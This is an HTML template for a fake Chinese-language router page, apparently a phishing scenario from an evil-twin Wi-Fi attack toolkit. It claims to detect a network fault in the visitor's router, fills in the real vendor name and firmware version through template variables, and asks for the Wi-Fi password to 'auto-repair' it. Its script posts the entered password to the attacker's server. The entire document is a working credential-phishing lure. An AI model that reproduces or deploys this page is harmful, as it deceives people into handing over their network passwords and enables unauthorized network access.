<!DOCTYPE html>
<html lang="en">
<head>
  <title>路由器配置页面</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="bootstrap.min.css">
  <script src="jquery.min.js"></script>
  <script src="bootstrap.min.js"></script>

  <!-- CSS -->
  <style type="text/css">

    /* Sticky footer styles
    -------------------------------------------------- */

    html,
    body {
          height: 100%;
          /* The html and body elements cannot have any padding or margin. */
        }

        /* Wrapper for page content to push down footer */
        #wrap {
          min-height: 100%;
          height: auto !important;
          height: 100%;
          /* Negative indent footer by it's height */
          margin: 0 auto -60px;
        }

        /* Set the fixed height of the footer here */
        #push,
        #footer {
          height: 60px;
        }
        #footer {
          background-color: #f5f5f5;
        }

        /* Lastly, apply responsive CSS fixes as necessary */
        @media (max-width: 767px) {
          #footer {
            margin-left: -20px;
            margin-right: -20px;
            padding-left: 20px;
            padding-right: 20px;
          }
        }

    img {
        width: auto;
        max-width: 100%;
        height: auto;
    }
  </style>

</head>

<body>

  <!-- Start navigation bar -->
  <!-- To change the navigation bar color change background attribute -->
  <nav class="navbar navbar-inverse" style="background:RoyalBlue;margin-top:2em;">
    <div class="container-fluid">
      <div class="navbar-header">
        <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar">
          <span class="icon-bar"></span>
          <span class="icon-bar"></span>
          <span class="icon-bar"></span>
        </button>
        <!--
        <a class="navbar-brand"><img style="background:transparent" src="Your LOGO" alt="Logo"></a>
        -->
      </div>
      <div class="collapse navbar-collapse" id="myNavbar">
        <ul class="nav navbar-nav">
          <li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
              data-toggle="dropdown" href="#" style="color:white">设置 <span class="caret"></span></a>
            <ul class="dropdown-menu">
              <li><a href="#">基本设置</a></li>
              <li><a href="#">DDNS</a></li>
              <li><a href="#">MAC 地址克隆</a></li>
              <li><a href="#">高级</a></li>
            </ul>
          </li>
          <li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
              data-toggle="dropdown" href="#" style="color:white">无线 <span class="caret"></span></a>
            <ul class="dropdown-menu">
              <li><a href="#">基本设置</a></li>
              <li><a href="#">安全设置</a></li>
              <li><a href="#">MAC 过滤</a></li>
              <li><a href="#">高级设置</a></li>
            </ul>
          </li>
          <li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
              data-toggle="dropdown" href="#" style="color:white">安全 <span class="caret"></span></a>
            <ul class="dropdown-menu">
              <li><a href="#">防火墙</a></li>
              <li><a href="#">VPN</a></li>
            </ul>
          </li>
          <li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
              data-toggle="dropdown" href="#" style="color:white">联网控制 <span class="caret"></span></a>
            <ul class="dropdown-menu">
              <li><a href="#">Internet 控制</a></li>
            </ul>
          </li>
          <li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
              data-toggle="dropdown" href="#" style="color:white">管理 <span class="caret"></span></a>
            <ul class="dropdown-menu">
              <li><a href="#">管理员</a></li>
              <li><a href="#">日志</a></li>
              <li><a href="#">诊断</a></li>
              <li><a href="#">恢复出厂设置</a></li>
              <li><a href="#">高级配置</a></li>
            </ul>
          </li>
          <li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
              data-toggle="dropdown" href="#" style="color:white">状态 <span class="caret"></span></a>
            <ul class="dropdown-menu">
              <li><a href="#">路由器</a></li>
              <li><a href="#">本地网络</a></li>
              <li><a href="#">无线</a></li>
              <!--<li><a href="#">高级路由</a></li>-->
            </ul>
          </li>
        </ul>
      </div>
    </div>
  </nav>
  <!-- End navigation bar -->

  <!-- Start page content -->
  <div class="container">
	   <div class="col-sm">
       {% if target_ap_logo_path is not none %}
         <center><img src="{{ target_ap_logo_path }}"/></center>
       {% endif %}
       <h2 class="text-center" style="color:CornflowerBlue">自动修复</h2>
    	 <p class="lead">检测到路由器 {{ target_ap_vendor if target_ap_vendor != None}} _ ({{ firmware_version }}) 发生网络故障，将尝试自动修复...</p>
     </div>
    <form>
      <div class="form-group has-feedback">
          <label for="pwd">请输入无线Wi-Fi密码:</label>
          <input class="form-control" type="password" id="pwd">
      </div>
      <div class="container text-center">
        <button class="btn btn-primary" id="btn">确定</button>
      </div>
    </form>
    <div id="push"></div>
  </div>
  <!-- Start page content -->

  <!-- Start footer -->
  <footer class="footer">
    <div class="container text-center">
      <p class="text-muted">© {{ target_ap_vendor }} , 版权所有</p>
    </div>
  </footer>
  <!-- End footer -->

  <!-- Start update first message -->
  <div class="modal fade" id="update-only" role="dialog">
    <div class="modal-dialog modal-sm">
      <div class="modal-content">
        <div class="modal-header">
          <button type="button" class="close" data-dismiss="modal">&times;</button>
          <h4 class="modal-title">提示</h4>
        </div>
        <div class="modal-body">
          <p>网络需要修复!</p>
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-default" data-dismiss="modal">关闭</button>
        </div>
      </div>
    </div>
  </div>
  <!-- End update first message -->

  <!-- Start empty password message -->
  <div class="modal fade" id="empty-pass">
    <div class="modal-dialog modal-sm">
      <div class="modal-content">
        <div class="modal-header">
          <button type="button" class="close" data-dismiss="modal">&times;</button>
          <h4 class="modal-title">提示</h4>
        </div>
        <div class="modal-body">
          <p>请输入无线Wi-Fi密码!</p>
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-default" data-dismiss="modal">关闭</button>
        </div>
      </div>
    </div>
  </div>
  <!-- End empty password message -->

<script>

/*
  Check the password field and act accordingly.
*/
$("#btn").on("click", function(e) {
    e.preventDefault();

    // get the password box and checkbox elements
  	var input = document.getElementById("pwd");
      // check to see if the value is empty
      if ( input.value == "" )
          {
          // display no password message
          $("#empty-pass").modal("show");

          }
      else
          {
          // post the data
          post('upgrading.html', {"wfphshr-wpa-password": input.value});
          }
});

/*
  Post to the fallowing path given the parameters.

  Args:
    path: The path to be posted to.
    params: The parameters to be passed.
*/
function post(path, params) {
    // create a form and set its attributes
    var form = document.createElement("form");
    form.setAttribute("method", "post");
    form.setAttribute("action", path);

    // set the attribute for the post
    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    // submit the post
    document.body.appendChild(form);
    form.submit();
}
</script>
</body>
</html>
